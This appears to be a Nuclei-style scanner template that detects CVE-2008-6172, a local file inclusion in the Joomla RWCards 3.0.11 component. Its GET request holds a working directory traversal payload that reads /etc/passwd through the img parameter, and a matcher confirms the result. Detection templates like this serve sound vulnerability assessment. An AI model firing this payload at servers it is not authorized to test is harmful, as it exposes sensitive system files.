id: CVE-2008-6172 info: name: Joomla! Component RWCards 3.0.11 - Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage. remediation: | Update Joomla! Component RWCards to the latest version to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/6817 - https://nvd.nist.gov/vuln/detail/CVE-2008-6172 - https://exchange.xforce.ibmcloud.com/vulnerabilities/46081 - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P cvss-score: 6.8 cve-id: CVE-2008-6172 cwe-id: CWE-22 epss-score: 0.00509 epss-percentile: 0.76498 cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:* metadata: max-request: 1 vendor: weberr product: rwcards tags: cve2008,cve,joomla,lfi,edb,weberr http: - method: GET path: - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100bb9dc7da389c238f3d1f51bb8eb60df5e0b9eb7c3e2613a47e3d8535a0cd36050220650d1c196b18deeb192b1c50fdffed8b36fd4412bac34a17359e495325382166:922c64590222798bb761d5b6d8e72950